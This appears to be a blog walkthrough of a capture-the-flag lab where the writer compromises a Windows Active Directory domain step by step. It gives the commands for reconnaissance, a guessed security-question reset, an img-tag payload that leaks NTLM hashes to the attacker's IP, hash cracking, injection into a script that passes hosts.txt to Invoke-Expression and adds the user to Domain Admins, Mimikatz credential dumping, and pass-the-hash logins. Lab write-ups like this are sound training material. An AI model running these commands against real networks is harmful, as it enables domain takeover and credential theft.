Complex Attack Types: Sample Scenarios 31

This time, our target system is Windows and we will infiltrate the internal network and perform an attack on the Domain Controller.

In this article, you will see what you can do about ADs and how you can think about complex thought structures. We will also add many methods to our attack scenario using various tools and principles.

You may see that the IPs change from time to time, do not care, we will be using different machines as we progress. The entire methodology is the same.

Do you want to start punks?

Let’s do that together.

First, let’s save the values and directories ​​we will use most on the shell. Then, let’s register the target machine on our local DNS using our /etc/hosts file.

Just ping it to check.

We are ready now.

We are in the discovery department. We need to better define the target machine and discover its network structure.

First, let’s do a subdomain search, there are many tools for this, but we preferred to use ffuf:

ffuf -w $wordlist_sub -u http://ourtargetsite.thm -H “Host: FUZZ.ourtargetsite.thm” -c -v

Or we can use gobuster dns -d ourtargetsite.thm -w $wordlist_sub -i -c

This way you can conduct subdomain research. It’s time to take note of what we found and move on to the next step.

Now we can switch to the nmap tool. We will use this command to get to know the machine in front of us better: nmap -sV -sC -sS -T4 -A -oN nmap_result.txt -Pn --min-rate=300 --max-retries=3 -p- $target_ip

It may take a while for you to hear back, but be patient. You will get good information from here.

The output is quite long. You can check it yourself. We shared some points.

As you can see, we have open ports and version information. You’ve also seen advisory CVE notes.

There are many doors before us… In a real scenario, it is recommended that you conduct research on all of them and obtain all the information you can.

Let’s give information about some ports.

With practice, you will better understand what these ports do over time.

There is a detail that caught our attention.

Add it to your /etc/hosts file.

Go there.

Let’s do some research and see what we can find.

Here is a list of IT employees. These can often be used as usernames with similar naming.

So save these.

We also have potential usernames. You can increase this list.

Have you seen the phrase “openfire”? We also learned that they use Spark infrastructure. The Openfire Admin Console was accessible over port 9090. We saw this in our nmap output.

Spark is an Open Source, cross-platform IM client optimized for businesses and organizations. It features built-in support for group chat, telephony integration, and strong security. It also offers a great end-user experience with features like in-line spell checking, group chat room bookmarks, and tabbed conversations.

Note all findings.

Continue browsing the page.

Sometimes you want to make a gesture to your employees, but this is a security breach for your company.

Here are photos of the employees. One of them also has a dog…

Pay attention to the file name!

There is a different name here besides the employee.

Dog’s name? We will see.

Do you remember fire.windcorp.thm? There was a password reset button here.

Now let’s try it with the information we have obtained.

Target the user who gave their dog’s name as the filename:lilyle

Also change the security question to one that includes the pet name: Sparky

You may need to try a combination here. But it’s worth it.

We told you it would be worth it!

Now we have reset the password.

It’s time to try this username and password we have obtained on other applications.

SMB shares are also among the elements with which we can expand our attack surface.

SMB (Server Message Block) is a network file sharing protocol that allows applications and users to read and write to files and request services from server programs in a computer network. It is commonly used in Windows-based networks for file and printer sharing, as well as inter-process communication.

SMB allows files to be shared between computers on a network, enabling users to access and manage files on remote servers as if they were on the local machine.

We need to use the smbclient tool and enumerate the target machine: smbclient -L //10.10.238.216

Root password… We don’t have it.

But we have Lilyle’s password.

Use it: smbclient -L //10.10.238.216 -U lilyle

Yeap! Shares were poured out before us. Let’s go into detail:

smbclient //10.10.238.216/Shared -U lilyle

or smbclient \\\\10.10.238.216\\Shared -U Windcorp.thm\\lilyle

As you can see, we have started to navigate the system.

Now let’s look at other potential usernames: smbclient \\\\10.10.238.216\\Users -U Windcorp.thm\\lilyle

We noticed that Spark version 2.8.3 was installed. This allows us to conduct an exploit investigation on this version.

Not quite what we wanted. We may conduct research on the Internet.

Check that: https://nvd.nist.gov/vuln/detail/CVE-2020-12772

We also have CVE number now: CVE-2020–12772

You will get such a resource in your research: https://github.com/theart42/cves/blob/master/cve-2020-12772/CVE-2020-12772.md

When we opened a chat with another user, we could send an <img tag to that user with an external URL as the source of that image, like this:

<img src=[external_ip]/test.img>

Each time the user clicks the link, or the ROAR module automatically preloads it, the external server receives the request for the image, together with the NTLM hashes from the user that visits the link, i.e. the user you are chatting with!

By running responder, we could capture the hashes and use them to gain access to the user account and escalate our privileges (depending on the user of course).

We need to apply this theory.

After installing, integrate the package into the system: sudo dpkg -i spark_2_8_3.deb

Follow the installation steps carefully. Then connect using the login information you have.

Download any image from the internet to your local as our_image.jpg. We will use <img src=”http://10.6.33.73/our_image.jpg"

Pick one of the active users. We will choose “Buse”.

You must run the responder tool before sending the tag to the target.

Responder is a popular tool in the Kali Linux distribution used for network penetration testing and auditing. It is designed to capture various types of network traffic and responses, including hashes, authentication requests, and credentials, primarily by exploiting vulnerabilities in the way network protocols handle name resolution. Responder is also an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.

Remember, our goal is to obtain the NTLM hash and our target is Buse.

Use it to activate: sudo responder -I tun0 -dwv

Just send a message with our tag.

Wow! We have:

Save the hash you obtained.

We will break this using the john tool: john buse_hash --wordlist=/usr/share/wordlists/rockyou.txt

You will get this result:

Now we have another password!

You can also use hashcat additionally for this cracking: hashcat -m 5600 buse_hash /usr/share/wordlists/rockyou.txt

Next is to use the evil-winrm tool.

Evil-WinRM is a PowerShell-based tool used for remote management of Windows systems. It leverages the Windows Remote Management (WinRM) protocol to execute commands and manage files on remote Windows machines. Evil-WinRM is particularly popular among penetration testers and red teamers for post-exploitation activities.

Use it evil-winrm -i 10.10.238.216 -u buse -p uzunLM+3131

Or you can also do it by just providing the NLTM hash: evil-winrm -i 10.10.238.216 -u buse -H <NTLM-hash>

Let’s explore the system we have captured a little bit.

Let’s move on to some more complex commands. Remember, this is a powershell environment.

Use (Get-ADUser $env:USERNAME -Properties *).MemberOf

Remember IT people. Now let’s query them: (Get-ADGroup “IT” -Properties *).MemberOf

The command (Get-ADGroup "IT" -Properties *).MemberOf retrieves the groups that the "IT" group is a member of in an Active Directory (AD) environment.

CN=Account Operators,CN=Builtin,DC=windcorp,DC=thm:

CN=Remote Management Users,CN=Builtin,DC=windcorp,DC=thm:

CN=Remote Desktop Users,CN=Builtin,DC=windcorp,DC=thm:

List all computers in AD: Get-ADComputer -Filter *

There are many commands for AD where you can get information. You can try these yourself.

Let’s continue.

Let’s target a different user in the environment:brittanycr

You can check if the user account is enabled: Get-ADUser -Identity “brittanycr” -Properties “Enabled” | Select-Object -ExpandProperty Enabled

Use it Set-ADAccountPassword -Identity brittanycr -Reset -NewPassword (ConvertTo-SecureString -AsPlainText “ChangePassOur::!0” -Force)

You can check when the password was last set for a user: Get-ADUser -Identity “brittanycr” -Properties “PasswordLastSet” | Select-Object -ExpandProperty PasswordLastSet

Password change process was successful. Our new password is ChangePassOur::!0

But “brittanycr” user does not have WinRM privileges…

Explore a bit.

There is a powershell script called checkservers.ps1. Check this out. Maybe we’ll get some proof.

A PowerShell script called checkservers.ps1, which is used to check a file called hosts.txt located in C:\Users\brittanycr\ and passes the contents of the host file to Invoke-Expression.

We can manipulate it.

Let’s create a hosts.txt file in our local area and write the following in it: ; Add-ADGroupMember -Identity “Domain Admins” -Members “buse” ; Add-ADGroupMember -Identity “Administrators” -Members “buse”

Then upload it to brittanycr’s user folder via SMB: smbclient \\\\10.10.238.216\\Users -U Windcorp.thm\\brittanycr

Use this password we have created: ChangePassOur::!0

Now download this to your local: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

Then copy to root directory.

Just upload to target system. Use upload Invoke-Mimikatz.ps1

Activate it: . .\Invoke-Mimikatz.ps1

The magic begins when we type the following command:

We have the admin’s hash value: bfa4cae19504e0591ef0a523a1936cd4

Let’s connect via WinRM: evil-winrm -i 10.10.238.216 -u Administrator -H bfa4cae19504e0591ef0a523a1936cd4

Now perform the following commands one by one:

Now connect: xfreerdp /v:10.10.238.216 /u:Administrator /pth:bfa4cae19504e0591ef0a523a1936cd4 /dynamic-resolution

We are inside now!

Don’t give up on hacking.

Code for good.

^-^